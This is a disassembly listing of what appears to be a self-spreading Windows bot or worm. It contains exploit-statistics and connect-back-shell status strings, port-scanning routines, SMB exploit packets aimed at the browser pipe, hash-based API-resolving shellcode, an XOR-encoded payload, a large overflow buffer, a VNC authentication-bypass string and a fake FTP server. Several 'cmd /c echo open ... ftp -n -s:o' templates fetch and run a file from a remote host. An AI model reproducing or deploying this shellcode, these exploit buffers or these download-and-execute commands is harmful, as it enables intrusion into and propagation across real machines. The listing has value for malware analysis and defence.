0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h dd 0FAF899F7h, 0EDE9FCFAh, 99h unk_4484F8 db 2Dh ; - ; DATA XREF: sub_40BBCD+11o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aExploitStatist db 'Exploit Statistics:',0 dword_448518 dd 25370320h, 203A0373h, 2C6425h ; DATA XREF: sub_40BBCD+46o aTotalDInS_ db ' Total: %d in %s.',0 ; DATA XREF: sub_40BBCD+85o align 4 unk_448538 db 2Dh ; - ; DATA XREF: sub_40BC9B+37o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h db 54h ; T db 72h, 61h, 6Eh db 73h ; s db 66h, 65h, 72h db 20h db 53h, 74h, 61h db 74h ; t db 69h, 73h, 74h db 69h ; i db 63h, 73h, 3Ah db 20h db 2, 54h, 46h db 54h ; T db 50h, 2, 3Ah db 20h db 25h, 64h, 2Ch db 20h db 2, 46h, 54h db 50h ; P db 2, 3Ah, 20h aDTotalDInS_ db '%d, Total %d in %s.',0 unk_448580 db 2Dh ; - ; DATA XREF: sub_40BD06+21o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aDConnectbackSh db '%d connectback shells in %s.',0 align 4 dword_4485AC dd 234032Dh, 6E616373h, 202D0302h, 6C707845h, 2074696Fh ; DATA XREF: sub_40BD5A+14o dd 7473694Ch, 3Ah dword_4485C8 dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40BD5A+40o aScanTimeS_ db ' Scan Time: %s.',0 ; DATA XREF: sub_40BD5A+7Eo unk_4485E8 db 2Dh ; - ; DATA XREF: sub_40BE20+80o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 db 2Dh, 20h, 74h db 72h ; r db 79h, 69h, 6Eh db 67h ; g db 20h, 2, 25h db 73h ; s db 2, 20h, 6Fh aNSPortD___ db 'n %s (port %d)...',0 align 4 unk_448618 db 2Dh ; - ; DATA XREF: sub_40BE20+16Fo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFinishedExploi db '- finished exploiting %s (%d attempts)',0 unk_44864C db 2Dh ; - ; DATA XREF: sub_40BFD2+2Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aCurrentIpS_ db 'Current IP: %s.',0 unk_448668 db 2Dh ; - ; DATA XREF: sub_40BFD2+42o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanNotActive_ db 'Scan not active.',0 align 4 unk_448688 db 2Dh ; - ; DATA XREF: sub_40C049+D7o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_2 db ' Server started on Port: %d, File: %s.',0 align 4 unk_4486BC db 2Dh ; - ; DATA XREF: sub_40C049+137o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_35 db ' Failed to start server, error: <%d>.',0 align 10h unk_4486F0 db 2Dh ; - ; DATA XREF: sub_40C049+1FFo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_448724 db 2Dh ; - ; DATA XREF: sub_40C049+25Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aFailedToSta_36 db 'Failed to start server, error: <%d>.',0 align 4 unk_448758 db 2Dh ; - ; DATA XREF: sub_40C049+326o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aServerStarte_4 db '- Server started on Port: %d.',0 align 4 unk_448788 db 2Dh ; - ; DATA XREF: sub_40C049+386o db 3, 34h, 2 db 63h ; c db 6Fh, 2 dup(6Eh) db 65h ; e db 63h, 74h, 62h db 61h ; a db 63h, 6Bh, 2 db 3 aFailedToSta_37 db '- Failed to start server, error: <%d>.',0 unk_4487C0 db 2Dh ; - ; DATA XREF: sub_40C049+440o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_1 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_4487FC db 2Dh ; - ; DATA XREF: sub_40C049+4C5o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_38 db ' Failed to start server, error: <%d>.',0 align 10h aD_D_D_D_0 db '%d.%d.%d.%d',0 ; DATA XREF: sub_40C575+38o aSocketOpenFail db 'socket open failed',0 ; DATA XREF: _0:0040C7A3o align 10h aSendtoSocketFa db 'sendto() socket failed. sent = %d <%d>.',0 ; DATA XREF: _0:0040C7DAo aSocketOpen_ db 'Socket open.',0 ; DATA XREF: _0:0040C847o align 4 aRecvfromSocket db 'recvfrom() socket failed',0 ; DATA XREF: _0:loc_40C857o align 4 aSocketClosed_ db 'Socket closed.',0 ; DATA XREF: _0:loc_40C86Bo align 4 unk_4488B4 db 2Dh ; - ; DATA XREF: sub_40C87D+84o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_4488EC db 2Dh ; - ; DATA XREF: sub_40C87D+DCo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_448914 db 2Dh ; - ; DATA XREF: sub_40CA91+87o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 unk_448948 db 2Dh ; - ; DATA XREF: sub_40CA91+103o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_44897C db 2Dh ; - ; DATA XREF: sub_40CA91+168o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_4489B4 db 2Dh ; - ; DATA XREF: sub_40CA91+1E0o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_4489F4 db 2Dh ; - ; DATA XREF: sub_40CCE8+92o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOp_0 db 'IP: %s Port: %d is open.',0 align 4 unk_448A1C db 2Dh ; - ; DATA XREF: sub_40CDB5+41o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 unk_448A44 db 2Dh ; - ; DATA XREF: sub_40CEA6+41o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 10h unk_448A70 db 2Dh ; - ; DATA XREF: sub_40CEA6+D1o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 10h aRbrbrbrb db 'BBBB',0 ; DATA XREF: sub_40D24D+B2o align 4 dword_448AAC dd 10FF8h, 0 ; DATA XREF: sub_40D24D+6Ao dword_448AB4 dd 10FF8h ; DATA XREF: sub_40D24D+79o dword_448AB8 dd 7FFDF020h, 0 ; DATA XREF: sub_40D24D+162o dword_448AC0 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40D667+78o dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_448B48 dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40D667+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_448B78 dd 0 ; DATA XREF: sub_40D667+44o dd 800000D4h, 2 dup(0) unk_448B88 db 81h ; ; DATA XREF: sub_40D746+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 2 dup(0) byte_448BD8 db 41h ; DATA XREF: sub_40D7E4+FFr aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h ; =============== S U B R O U T I N E ======================================= sub_448C20 proc near ; DATA XREF: _0:0040DA9Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_448D1C push dword ptr [esi] push 63D61209h call sub_448D32 mov [esi+8], eax call sub_448CE5 push dword ptr [esi+4] push 0CA2BD06Bh call sub_448D32 mov [esi+0Ch], eax call sub_448C97 push dword ptr [esi+4] push 4C0297FAh call sub_448D32 xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_448C20 endp ; =============== S U B R O U T I N E ======================================= sub_448C97 proc near ; CODE XREF: sub_448C20+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_448CC0 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_448C97 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_448CC0 proc near ; CODE XREF: sub_448C97+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_448CCF: ; CODE XREF: sub_448CC0+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_448CDC inc ebx jmp short loc_448CCF ; --------------------------------------------------------------------------- loc_448CDC: ; CODE XREF: sub_448CC0+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_448CC0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_448CE5 proc near ; CODE XREF: sub_448C20+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_448CFD: ; CODE XREF: sub_448CE5+1Ej cmp [ecx], ebx jz short loc_448D05 mov ecx, [ecx] jmp short loc_448CFD ; --------------------------------------------------------------------------- loc_448D05: ; CODE XREF: sub_448CE5+1Aj mov edx, edi loc_448D07: ; CODE XREF: sub_448CE5+2Aj cmp [edx+4], ebx jz short loc_448D11 mov edx, [edx+4] jmp short loc_448D07 ; --------------------------------------------------------------------------- loc_448D11: ; CODE XREF: sub_448CE5+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_448CE5 endp ; =============== S U B R O U T I N E ======================================= sub_448D1C proc near ; CODE XREF: sub_448C20+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_448D1C endp ; =============== S U B R O U T I N E ======================================= sub_448D32 proc near ; CODE XREF: sub_448C20+16p ; sub_448C20+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_448D48: ; CODE XREF: sub_448D32+33j jecxz short loc_448D82 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_448D55: ; CODE XREF: sub_448D32+2Dj lodsb cmp al, ah jz short loc_448D61 ror edi, 0Dh add edi, eax jmp short loc_448D55 ; --------------------------------------------------------------------------- loc_448D61: ; CODE XREF: sub_448D32+26j cmp edi, [esp+20h+arg_0] jnz short loc_448D48 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_448D82: ; CODE XREF: sub_448D32:loc_448D48j ; sub_448D32:loc_448D82j jmp short loc_448D82 sub_448D32 endp ; --------------------------------------------------------------------------- align 8 ; =============== S U B R O U T I N E ======================================= sub_448D88 proc near ; DATA XREF: _0:0040DA49o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_448DDA mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_448DA5: ; CODE XREF: sub_448D88+38j jecxz short loc_448DD5 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_448DB0: ; CODE XREF: sub_448D88+32j lodsb test al, al jz short loc_448DBC ror edx, 0Dh add edx, eax jmp short loc_448DB0 ; --------------------------------------------------------------------------- loc_448DBC: ; CODE XREF: sub_448D88+2Bj cmp edx, [esp+arg_0] jnz short loc_448DA5 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_448DD5: ; CODE XREF: sub_448D88:loc_448DA5j mov [esp+arg_0], ebx retn sub_448D88 endp ; =============== S U B R O U T I N E ======================================= sub_448DDA proc near ; CODE XREF: sub_448D88+7p ; FUNCTION CHUNK AT 00448E12 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_448DF3 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_448DFE ; --------------------------------------------------------------------------- loc_448DF3: ; CODE XREF: sub_448DDA+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_448DFE: ; CODE XREF: sub_448DDA+14j pop edi xor esi, esi pusha push esi jmp short loc_448E12 sub_448DDA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_448E05 proc near ; CODE XREF: sub_448DDA:loc_448E12p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_448E05 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448DDA loc_448E12: ; CODE XREF: sub_448DDA+29j call sub_448E05 loc_448E17: ; DATA XREF: sub_40D1F2+1Bo add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_448DDA ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_448E1C: ; DATA XREF: sub_40D24D+E8o jmp short near ptr dword_448E24 ; --------------------------------------------------------------------------- db 6 dup(90h) dword_448E24 dd 0 ; CODE XREF: _2:loc_448E1Cj aCccc db 'CCCC',0 ; DATA XREF: sub_40D24D+153o align 10h dword_448E30 dd 3 ; DATA XREF: sub_40D24D+246o byte_448E34 db 0A1h, 0 ; DATA XREF: sub_40D24D+29Fo word_448E36 dw 30h ; DATA XREF: sub_40D24D+2CAo dword_448E38 dd 62B0606h, 2050501h ; DATA XREF: sub_40D24D+2F5o aA_1: ; DATA XREF: sub_40D24D+320o unicode 0, <`>,0 align 4 aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: _0:0040DA70o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 10h dword_448EB0 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40E29B+2A9o ; --------------------------------------------------------------------------- loc_448EBC: ; CODE XREF: _2:00448EC6j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_448EBC inc edi jz short loc_448F03 and eax, 952CE753h inc esp jle short loc_448F2B push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_448F03: ; CODE XREF: _2:00448EC9j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_448F62+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_448F28: ; CODE XREF: _2:00448F55j xor [esi-25h], bl loc_448F2B: ; CODE XREF: _2:00448ED1j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_448F44: ; CODE XREF: _2:00448F77j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_448F28 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_448F62: ; CODE XREF: _2:00448F09j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_448FEE jo short loc_448F44 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_448F85+1 add bl, [edi] loc_448F85: ; CODE XREF: _2:00448F81j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_448F9A+2 cmp ch, bh dec edx loc_448F9A: ; CODE XREF: _2:00448F95j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_448FEE: ; CODE XREF: _2:00448F75j mov ecx, 2C294495h mov edx, 0E92F4930h jg short near ptr dword_449074 sub al, 0BCh jmp near ptr 544693E2h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_449010 dd 0EFFFC481h, 44FFFFh, 646E6957h, 2073776Fh, 2C34544Eh ; DATA XREF: sub_40E29B+290o ; _2:0044904Co dd 30303220h, 53282030h, 532D3050h, 293450h, 646E6957h dd 2073776Fh, 28205058h, 2B305053h, 29315053h, 0 dd offset dword_449010+8 dword_449050 dd 42Ah ; DATA XREF: sub_40E29B+239r dword_449054 dd 3E8h ; DATA XREF: sub_40E29B+2B4r dword_449058 dd 258h ; DATA XREF: sub_40E29B+286r byte_44905C db 1 ; DATA XREF: sub_40E29B+1EBr ; sub_40E29B+2C2r align 10h dd offset dword_449010+24h dd 2C6h, 264h, 0 dd 1 dword_449074 dd 20804h ; CODE XREF: _2:00448FF8j ; DATA XREF: sub_40E19Fr ... dword_449078 dd 2Eh ; DATA XREF: sub_40E29B+10o dword_44907C dd 73255C5Ch, 6370695Ch, 24h ; DATA XREF: sub_40E29B+33o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40E29B+7Do align 4 dword_44909C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40E29B+DAo dword_4490B0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40E29B+14Ao ; --------------------------------------------------------------------------- loc_4490C4: ; DATA XREF: sub_40E29B+20Do jmp short near ptr dword_4490C8 ; --------------------------------------------------------------------------- align 4 dword_4490C8 dd 2 dup(0) ; CODE XREF: _2:loc_4490C4j aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E794+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 align 8 dword_449148 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E9ED+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 10h aCmdCEchoOpen_1 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E8D6+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 word_44A3D4 dw 1 ; DATA XREF: _0:0040EB28r align 4 dword_44A3D8 dd 20424652h, 64333025h, 3330252Eh, 0A64h ; DATA XREF: _0:0040EBB4o aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: _0:0040ED51o align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40EE63+130o aEchoOpenSDOEch db 'echo open %s %d >> o&echo user 1 >>o &echo 1 >>o &echo get %s >>o' ; DATA XREF: sub_40F04F+23Eo db ' &echo bye >>o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_40F2F1+1B9o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_40F2F1+237o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_40F2F1+248o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_40F2F1+25Do align 10h aPass db 'PASS',0 ; DATA XREF: sub_40F2F1+26Do align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_40F2F1+281o align 10h aSyst db 'SYST',0 ; DATA XREF: sub_40F2F1+291o align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 ; DATA XREF: sub_40F2F1+2A5o align 4 aRest db 'REST',0 ; DATA XREF: sub_40F2F1+2B5o align 10h a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_40F2F1+2C9o align 4 off_44A514 dd offset aKassower+8 ; DATA XREF: sub_40F2F1+2D9o a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_40F2F1+2EDo align 4 aType db 'TYPE',0 ; DATA XREF: sub_40F2F1+2FDo align 2 aA_0 db 'A',0 ; DATA XREF: sub_40F2F1+314o a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_40F2F1+328o aType_0 db 'TYPE',0 ; DATA XREF: sub_40F2F1+338o align 2 aI_0 db 'I',0 ; DATA XREF: sub_40F2F1+34Fo a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_40F2F1+363o aPasv db 'PASV',0 ; DATA XREF: sub_40F2F1+373o align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_40F2F1+386o align 4 aList_0 db 'LIST',0 ; DATA XREF: sub_40F2F1+3C1o align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_40F2F1+3D4o align 4 